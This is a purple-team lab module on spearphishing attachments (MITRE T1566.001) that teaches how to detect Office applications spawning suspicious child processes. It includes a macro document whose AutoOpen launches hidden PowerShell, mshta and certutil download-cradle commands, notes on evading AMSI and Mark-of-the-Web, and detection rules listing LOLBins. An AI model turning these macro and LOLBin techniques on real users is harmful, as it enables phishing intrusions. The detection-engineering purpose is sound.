PT2.2 Phishing: Spearphishing Attachment (T1566.001)

1. Scene

It's Thursday afternoon. Tom Ashworth receives an email from what appears to be the company's HR department. The subject line reads "Updated Benefits Package. Review Required." Attached is a Word document: Benefits_2026_Update.docm. Tom opens it. Word prompts to enable macros: the document says the content is "protected" and macros must be enabled to view it. Tom clicks Enable Content.

In the background, the macro launches PowerShell. PowerShell downloads a second-stage payload from a remote server and executes it in memory. The entire chain, from email delivery to code execution, takes eight seconds. Word is still open on Tom's screen, now displaying the fake benefits content the macro rendered after execution.

Sysmon Event 1 captured the process creation: WINWORD.EXE spawned powershell.exe. That parent-child relationship. Office application launching a scripting interpreter, is the detection signal. But does your rule catch it? And does it distinguish this malicious macro from the legitimate PowerShell calls that Excel and Word make during add-in loading, print preview, and COM automation?

2. Learning Objectives

By the end of this sub you will be able to:

• Deliver a test macro-enabled document to your M365 dev tenant and observe the process-tree telemetry it produces
• Identify the Sysmon Event 1 fields that distinguish malicious Office child processes from legitimate ones
• Write and tune a Sigma rule that detects suspicious Office child processes without alerting on every macro-enabled spreadsheet in the environment

3. The Technique

T1566.001. Phishing: Spearphishing Attachment

The attacker sends a targeted email with a malicious file attachment. When the user opens the attachment, the file executes code, via macros (VBA), DDE, embedded objects, or exploitation of a document-parsing vulnerability. T1566.001 is the attachment-based variant of T1566 (Phishing).

Why attachment-based phishing persists despite macro controls

Microsoft disabled macros by default in downloaded documents in 2022 (the Mark-of-the-Web restriction). You'd think this killed macro-based phishing. It didn't. Attackers adapted with four bypass strategies:

Container files bypass Mark-of-the-Web. The attacker wraps the macro document inside an ISO, IMG, or VHD container. When the user mounts the container, the files inside don't inherit the MOTW flag because the mounted volume is treated as a local disk. The macro runs without the "macros have been disabled" warning. This is the dominant delivery mechanism in 2025–2026.

HTML smuggling delivers the payload through the browser. The phishing email contains a link (not an attachment) to a page that uses JavaScript to assemble a file in the browser and trigger a download. The file lands in the Downloads folder with MOTW, but it's an ISO/IMG container: the user mounts it, the MOTW chain breaks, and the macro inside runs.

Password-protected archives bypass scanning. The email contains a ZIP encrypted with a password included in the email body: "Password: Invoice2026". Defender for Office 365 can't scan inside the encrypted archive. The user extracts the file, opens it, and the macro runs. The extracted file may or may not carry MOTW depending on the extraction tool.

OneNote and other non-Office containers. Attackers shifted to OneNote (.one) files with embedded scripts after macro restrictions tightened. OneNote doesn't have the same MOTW enforcement as Word/Excel. Microsoft has since restricted this vector, but the pattern, find a container that doesn't enforce MOTW, continues to evolve.

What VBA macros actually do: the execution chain

When the user clicks "Enable Content" in a macro-enabled document, here's what happens at the technical level:

VBA Macro Execution Chain
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Step 1: User opens .docm/.xlsm file
        → Word/Excel loads the file into memory
        → Protected View activates IF MOTW flag is present
        → User clicks "Enable Editing" (exits Protected View)

Step 2: User clicks "Enable Content" (allows macros)
        → VBA engine initialises inside the Office process
        → AMSI (Antimalware Scan Interface) scans the VBA code
        → If AMSI doesn't flag it: AutoOpen() or Document_Open() runs

Step 3: VBA code executes inside the Office process
        → The macro runs in the Office process's memory space
        → It has the same privileges as the user running Office
        → Typical actions:
           a) CreateObject("WScript.Shell").Run "powershell..."
              → Spawns powershell.exe as a CHILD of WINWORD.EXE
              → This is the Sysmon Event 1 you detect
           b) CreateObject("MSXML2.XMLHTTP").Open "GET", "http://..."
              → Downloads payload within the Office process (no child)
              → Harder to detect: no process creation event
           c) Shell("cmd.exe /c certutil -urlcache -f http://...")
              → Spawns cmd.exe → certutil.exe chain
              → Two Sysmon Event 1 events in the process tree

Step 4: Payload executes
        → PowerShell downloads and runs second stage in memory
        → Or: dropped executable runs from %TEMP%
        → Or: scheduled task created for persistence
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Detection point: Step 3a/3c: the Office process spawns a child.
This is the invariant regardless of the VBA code's specifics.

AMSI and how attackers evade it

AMSI (Antimalware Scan Interface) scans VBA macro code before execution. It catches known-bad patterns — Invoke-Expression, DownloadString, Base64 encoding. Attackers bypass AMSI through:

• String concatenation: "Power" & "shell" instead of "PowerShell". AMSI scans the source code but concatenation happens at runtime
• Character substitution: Chr(80) & Chr(111) & Chr(119) builds "Pow" character by character
• AMSI patching: the macro patches the AMSI DLL in memory before the malicious code runs — amsi.dll is loaded in the Office process and can be modified via VBA's memory access functions
• Indirect execution: instead of Shell("powershell..."), the macro creates a WMI event subscription or scheduled task that runs PowerShell after a delay: the parent process is svchost.exe, not WINWORD.EXE

The detection anchor. Office spawns a suspicious child, remains valid for most real-world attacks because AMSI bypass techniques still ultimately need to spawn a process for meaningful second-stage execution. The indirect-execution evasion (WMI/scheduled task) breaks the parent-child link but creates a different detection signal covered in Module 4 (Persistence).

4. Safety and Legal

5. The Attack

Three variants, each producing different telemetry. The first is the baseline most rules catch. The second and third evade rules that match only on powershell.exe.

Why three variants matter

Real attackers don't use one delivery method. They test which evasion works against the target's email security before sending the real payload. The three variants below represent three different evasion strategies:

• Variant 1 (VBA → PowerShell): the classic. Works against environments with macros enabled and no ASR rules. Detection: the parent-child process tree (WINWORD → powershell.exe).
• Variant 2 (VBA → mshta.exe): evades rules that only match powershell.exe or cmd.exe as the child process. mshta.exe is a legitimate Windows binary (the HTML Application Host), it's a LOLBin (Living Off the Land Binary). Detection: same parent-child tree, but the child is mshta.exe with a javascript: protocol handler in the command line.
• Variant 3 (VBA → certutil.exe): evades rules that match on scripting interpreters. certutil.exe is a certificate management tool, also a LOLBin. The -urlcache -f flags turn it into a file downloader. Detection: the parent-child tree plus the download-indicator flags in the command line.

What happens inside the Office process when a macro runs

When the user clicks "Enable Content," the VBA engine initialises inside the Office process's memory space. The macro code has full access to the Windows API through COM objects. Here's the execution chain for Variant 1:

Macro Execution Chain. Variant 1 (VBA → PowerShell)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. WINWORD.EXE loads the .docm file
2. User clicks "Enable Content"
3. VBA engine initialises (VBE7.DLL loaded. Sysmon Event 7)
4. AutoOpen() sub executes
5. VBA calls CreateObject("WScript.Shell")
   → WScript COM object instantiated in WINWORD's process
6. .Run "powershell.exe -nop -w hidden -c ..."
   → WINWORD creates a new process: powershell.exe
   → Sysmon Event 1: ParentImage=WINWORD.EXE, Image=powershell.exe
7. PowerShell downloads second stage (or runs directly)
   → Sysmon Event 3: Network connection from powershell.exe
8. PowerShell executes the payload
   → Further Sysmon Event 1 for any child processes

Total time from "Enable Content" to code execution: <1 second
The user sees the document content loading normally.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

What the attacker does after macro execution

The macro itself is just the delivery mechanism. What matters is what runs after. Typical post-macro actions in real attacks:

Post-Macro Attacker Actions (first 2 minutes)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
00:00  Macro fires PowerShell with download cradle
00:05  PowerShell downloads a Cobalt Strike beacon / Sliver agent
       to memory: no file on disk
00:10  Beacon establishes C2 channel (HTTPS to attacker's server)
       → Sysmon Event 3: outbound HTTPS from powershell.exe
00:30  Attacker runs whoami, ipconfig, net group "Domain Admins"
       through the C2 channel
01:00  Attacker runs Sharphound/BloodHound for AD enumeration
01:30  Attacker identifies path to Domain Admin
02:00  Attacker begins lateral movement (T1021)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
The macro is the 1-second event. The post-macro activity
is the 2-hour kill chain that follows.
Your detection at the macro stage (Office → child process)
catches the attack at second 0, not at minute 120.

Variant 1. VBA macro launching PowerShell (the classic)

Create the test document on PT-WIN-ENDPOINT:

# Create a working directory for test payloads
New-Item -ItemType Directory -Path "C:\PurpleTeam\Payloads" -Force | Out-Null

# Create a VBA macro document using PowerShell COM automation
$word = New-Object -ComObject Word.Application
$word.Visible = $false
$doc = $word.Documents.Add()

# Add the VBA macro
$vbProject = $doc.VBProject
$module = $vbProject.VBComponents.Add(1)  # 1 = vbext_ct_StdModule
$module.CodeModule.AddFromString(@"
Sub AutoOpen()
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    shell.Run "powershell.exe -nop -w hidden -c ""whoami | Out-File C:\PurpleTeam\Payloads\macro-test.txt""", 0, False
End Sub
"@)

# Save as macro-enabled document
$doc.SaveAs("C:\PurpleTeam\Payloads\Benefits_2026_Update.docm", 13)  # 13 = wdFormatXMLDocumentMacroEnabled
$doc.Close()
$word.Quit()

Write-Host "Test document created: C:\PurpleTeam\Payloads\Benefits_2026_Update.docm"

If COM automation fails (Trust Center settings may block it), use Atomic Red Team instead:

# Alternative, use ART to simulate the Office-spawns-PowerShell pattern
Invoke-AtomicTest T1566.001 -TestNumbers 1

Execute the payload:

Open the document in Word. When prompted about macros, click Enable Content. The macro runs silently. PowerShell executes whoami and writes the output to a file.

Verify the payload ran:

# Check the output file exists
Get-Content "C:\PurpleTeam\Payloads\macro-test.txt"

yourlab\t.ashworth

Variant 2. VBA macro launching mshta.exe (evades "Office spawns PowerShell" rules)

# Simulate the process-tree pattern without a real macro
# This creates the same Sysmon Event 1 parent-child relationship
Start-Process -FilePath "C:\Windows\System32\mshta.exe" `
    -ArgumentList "javascript:var s=new ActiveXObject('WScript.Shell');s.Run('whoami > C:\\PurpleTeam\\Payloads\\mshta-test.txt');close();"

This variant uses mshta.exe (the HTML Application Host) instead of PowerShell. Rules that match only on powershell.exe as the child process miss this entirely. The parent process in this simulation is PowerShell (since you ran it from PowerShell), but in a real attack the parent would be WINWORD.EXE.

Variant 3. VBA macro launching certutil for download (LOLBin download cradle)

# Simulate Office spawning certutil to download a payload
# certutil is a signed Windows binary. LOLBin
Start-Process -FilePath "C:\Windows\System32\certutil.exe" `
    -ArgumentList "-urlcache -split -f http://10.0.0.20:8080/test.txt C:\PurpleTeam\Payloads\certutil-test.txt"

This uses certutil.exe: a legitimate certificate utility, to download a file. No PowerShell, no mshta, no cmd.exe. A rule that matches on a fixed list of suspicious child processes misses this unless certutil.exe is in the list.

6. What Just Fired

Variant 1. Sysmon Event 1 (WINWORD.EXE → powershell.exe):

{
  "EventID": 1,
  "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "CommandLine": "powershell.exe -nop -w hidden -c \"whoami | Out-File C:\\PurpleTeam\\Payloads\\macro-test.txt\"",
  "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
  "ParentCommandLine": "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\" /n \"C:\\PurpleTeam\\Payloads\\Benefits_2026_Update.docm\"",
  "User": "YOURLAB\\t.ashworth",
  "IntegrityLevel": "Medium"
}

The detection signal: ParentImage ends with \WINWORD.EXE and Image ends with \powershell.exe. Office applications should not spawn PowerShell. The -nop -w hidden flags strengthen the signal, legitimate Office-PowerShell interactions (rare) don't use hidden windows.

Variant 2. Sysmon Event 1 (WINWORD.EXE → mshta.exe):

{
  "EventID": 1,
  "Image": "C:\\Windows\\System32\\mshta.exe",
  "CommandLine": "mshta.exe javascript:var s=new ActiveXObject('WScript.Shell')...",
  "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
  "User": "YOURLAB\\t.ashworth"
}

Same parent (WINWORD.EXE), different child (mshta.exe). The javascript: protocol handler in the command line is a strong indicator, legitimate mshta.exe usage runs .hta files, not inline JavaScript.

Variant 3. Sysmon Event 1 (WINWORD.EXE → certutil.exe):

{
  "EventID": 1,
  "Image": "C:\\Windows\\System32\\certutil.exe",
  "CommandLine": "certutil.exe -urlcache -split -f http://10.0.0.20:8080/test.txt ...",
  "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
  "User": "YOURLAB\\t.ashworth"
}

certutil.exe with -urlcache -f is a download cradle, it fetches a remote file. The combination of Office parent + certutil child + URL in the command line is the signal. Certutil is a signed Microsoft binary (LOLBin), process-name-based allowlists won't flag it.

Sysmon Event 11 (File Create): the downloaded payload:

{
  "EventID": 11,
  "TargetFilename": "C:\\PurpleTeam\\Payloads\\certutil-test.txt",
  "Image": "C:\\Windows\\System32\\certutil.exe",
  "CreationUtcTime": "2026-04-28T10:22:15.123Z"
}

The file creation event correlates with the process creation, certutil downloaded a file to disk. A detection that correlates Event 1 (process creation with Office parent) and Event 11 (file creation by the child process) produces higher-confidence alerts.

7. The Detection

The detection matches on the parent-child relationship: an Office application spawning a suspicious child process.

title: Suspicious Office Child Process - Spearphishing Attachment
id: 9e3f5b02-4c6d-7e8f-0a1b-2c3d4e5f6071
status: stable
description: |
    Detects Office applications (Word, Excel, PowerPoint, Outlook)
    spawning suspicious child processes. Indicates macro execution
    or document exploitation from a spearphishing attachment.
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\WINWORD.EXE'
            - '\EXCEL.EXE'
            - '\POWERPNT.EXE'
            - '\OUTLOOK.EXE'
            - '\MSACCESS.EXE'
    selection_child:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\cmd.exe'
            - '\mshta.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\certutil.exe'
            - '\regsvr32.exe'
            - '\rundll32.exe'
            - '\bitsadmin.exe'
            - '\msiexec.exe'
    filter_legitimate:
        CommandLine|contains:
            - 'PrintTo'
            - '/automation'
            - '-Embedding'
    condition: selection_parent and selection_child and not filter_legitimate
level: high
tags:
    - attack.initial_access
    - attack.t1566.001
    - attack.execution
    - attack.t1204.002

// Sentinel KQL — Suspicious Office Child Process
let OfficeApps = dynamic([
    "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE",
    "OUTLOOK.EXE", "MSACCESS.EXE"
]);
let SuspiciousChildren = dynamic([
    "powershell.exe", "pwsh.exe", "cmd.exe", "mshta.exe",
    "wscript.exe", "cscript.exe", "certutil.exe",
    "regsvr32.exe", "rundll32.exe", "bitsadmin.exe", "msiexec.exe"
]);
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| where InitiatingProcessFileName in~ (OfficeApps)
| where FileName in~ (SuspiciousChildren)
// Exclude legitimate Office automation
| where ProcessCommandLine !has "PrintTo"
| where ProcessCommandLine !has "/automation"
| where ProcessCommandLine !has "-Embedding"
| project TimeGenerated, DeviceName, AccountName,
          OfficeApp = InitiatingProcessFileName,
          ChildProcess = FileName,
          ProcessCommandLine,
          InitiatingProcessCommandLine

// Defender XDR — Suspicious Office Child Process
let OfficeApps = dynamic([
    "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE",
    "OUTLOOK.EXE", "MSACCESS.EXE"
]);
let SuspiciousChildren = dynamic([
    "powershell.exe", "pwsh.exe", "cmd.exe", "mshta.exe",
    "wscript.exe", "cscript.exe", "certutil.exe",
    "regsvr32.exe", "rundll32.exe", "bitsadmin.exe", "msiexec.exe"
]);
DeviceProcessEvents
| where Timestamp > ago(1h)
| where InitiatingProcessFileName in~ (OfficeApps)
| where FileName in~ (SuspiciousChildren)
| where ProcessCommandLine !has "PrintTo"
| where ProcessCommandLine !has "/automation"
| where ProcessCommandLine !has "-Embedding"
| project Timestamp, DeviceName, AccountName,
          OfficeApp = InitiatingProcessFileName,
          ChildProcess = FileName,
          ProcessCommandLine

index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
    EventCode=1
    (ParentImage="*\\WINWORD.EXE" OR ParentImage="*\\EXCEL.EXE"
     OR ParentImage="*\\POWERPNT.EXE" OR ParentImage="*\\OUTLOOK.EXE")
    (Image="*\\powershell.exe" OR Image="*\\cmd.exe" OR Image="*\\mshta.exe"
     OR Image="*\\wscript.exe" OR Image="*\\cscript.exe"
     OR Image="*\\certutil.exe" OR Image="*\\regsvr32.exe"
     OR Image="*\\rundll32.exe")
    NOT CommandLine="*PrintTo*"
    NOT CommandLine="*/automation*"
    NOT CommandLine="*-Embedding*"
| table _time, Computer, User, ParentImage, Image, CommandLine
| sort - _time

The rule uses a two-tier match: parent must be an Office application, child must be a known scripting interpreter or LOLBin. The filter removes three legitimate Office automation patterns that produce the same parent-child structure.

Why parent-child, not file hash or macro content? The attachment itself may bypass email scanning, encrypted ZIP, polymorphic content, living-off-the-land macros using only built-in Windows tools. The process tree is the invariant: regardless of what the macro does or how the document is obfuscated, the execution chain always passes through the Office application spawning a child process. The parent-child relationship is the most durable detection anchor for T1566.001.

Known evasions:

• COM object instantiation without child process: some macros use COM to interact with other applications without spawning a visible child process (e.g. CreateObject("Shell.Application").ShellExecute). Sysmon may not log this as a direct parent-child event. Counter: monitor for Sysmon Event 7 (Image Load) showing unexpected DLLs loaded by Office applications.
• Scheduled task creation: the macro creates a scheduled task that executes later, breaking the direct parent-child link. Counter: correlate Office process creation events with Sysmon Event 12/13 (Registry) for task scheduler key modifications within the same time window.
• Office sandboxing (Protected View): if the document opens in Protected View, macros are blocked until the user clicks "Enable Editing" and then "Enable Content." Protected View is the first line of defense: the detection fires only if the user bypasses it.

8. The Tuning Loop

False-positive sources:

Excel add-ins launching PowerShell. Some third-party Excel add-ins (Bloomberg, Reuters, data connectors) launch PowerShell during initialization or data refresh. The parent is EXCEL.EXE, the child is powershell.exe, the command line typically contains the add-in's working directory. Fix: exclude by command-line pattern matching the specific add-in's path.

// Tuning, exclude known Excel add-in PowerShell calls
| where not (
    InitiatingProcessFileName =~ "EXCEL.EXE"
    and ProcessCommandLine has "Bloomberg"
  )

Word mail merge / print macros. Some organizations use VBA macros in Word templates for mail merge operations that launch cmd.exe for file operations. Fix: exclude by the specific template file path in InitiatingProcessCommandLine.

Office COM automation from legitimate scripts. IT automation scripts that use Office COM objects (e.g. PowerShell scripts that open Excel to generate reports) produce the reverse pattern. PowerShell is the parent, Excel is the child. This doesn't match the rule (wrong parent-child direction), but misconfigurations can produce the right pattern. Fix: review any matches where the Office command line includes /automation.

Baseline FP rate: 0–3 per day in a typical enterprise. This is a low-FP rule because legitimate Office-spawns-scripting-interpreter activity is rare. The Bloomberg/Reuters add-in pattern is the most common source. After tuning, most environments see fewer than 1 FP per day.

Continuous rhythm: retest quarterly. New Office add-ins get deployed. Office updates may change COM automation behavior. Any new software that interacts with Office via COM should be tested against this rule.

9. Decision Exercise

Your rule fires on this process tree:

Parent: EXCEL.EXE
  → Child: cmd.exe /c copy "C:\Users\t.ashworth\Downloads\report.xlsx"
           "\\FILESRV01\Finance\Q4\report.xlsx"
Time: 16:45 (end of business)
User: YOURLAB\t.ashworth

Excel spawned cmd.exe to copy a file to a network share. No encoding, no download, no scripting, just a file copy command.

Which assessment is correct?

A. True positive. Excel should never spawn cmd.exe. Investigate immediately.

B. Environmental FP, this is a legitimate macro that copies the finished spreadsheet to a shared drive. Tune it out by excluding copy commands.

C. Suspicious: the file copy itself is benign but the pattern (Office → cmd.exe) warrants a 2-minute check: is the macro expected? Is the destination a normal share for this user?

D. Rule-logic FP, cmd.exe should be removed from the suspicious child list because it's too common.

10. Try-it

Step 1. Create the test macro document:

On PT-WIN-ENDPOINT (logged in as YOURLAB\t.ashworth), run the PowerShell COM automation script from the Attack section above. If COM automation is blocked, use the ART alternative:

Invoke-AtomicTest T1566.001 -TestNumbers 1

Step 2. Open the document and enable macros:

Open C:\PurpleTeam\Payloads\Benefits_2026_Update.docm in Word. Click Enable Content when prompted.

Step 3. Verify the macro executed:

# Check the output file
Get-Content "C:\PurpleTeam\Payloads\macro-test.txt"

Should show yourlab\t.ashworth.

Step 4. Run the mshta and certutil variants:

Execute the Variant 2 and Variant 3 commands from the Attack section.

Step 5. Check all three SIEMs:

Run the detection query from each tab. You should see at least three events, one per variant.

T1566.001. Spearphishing Attachment
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Variant            Sentinel  XDR     Secondary
powershell.exe     [ ]       [ ]     [ ]
mshta.exe          [ ]       [ ]     [ ]
certutil.exe       [ ]       [ ]     [ ]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FPs observed: ____

Expected result: all three variants should appear in all three SIEMs. If a variant is missing, check that the child process name is in the rule's suspicious-child list.

Troubleshooting:

• Word won't enable macros: Trust Center settings may block VBA. In Word: File → Options → Trust Center → Trust Center Settings → Macro Settings → select "Enable all macros" (lab only, never do this in production).
• COM automation fails with "Programmatic access to Visual Basic Project is not trusted": In Word: File → Options → Trust Center → Trust Center Settings → Macro Settings → check "Trust access to the VBA project object model."
• Defender quarantines the document: add the exclusion path: Add-MpPreference -ExclusionPath "C:\PurpleTeam\Payloads"

Cleanup:

# Remove test files
Remove-Item "C:\PurpleTeam\Payloads\macro-test.txt" -ErrorAction SilentlyContinue
Remove-Item "C:\PurpleTeam\Payloads\mshta-test.txt" -ErrorAction SilentlyContinue
Remove-Item "C:\PurpleTeam\Payloads\certutil-test.txt" -ErrorAction SilentlyContinue
Remove-Item "C:\PurpleTeam\Payloads\Benefits_2026_Update.docm" -ErrorAction SilentlyContinue

# If you used ART
Invoke-AtomicTest T1566.001 -TestNumbers 1 -Cleanup

11. Reference Card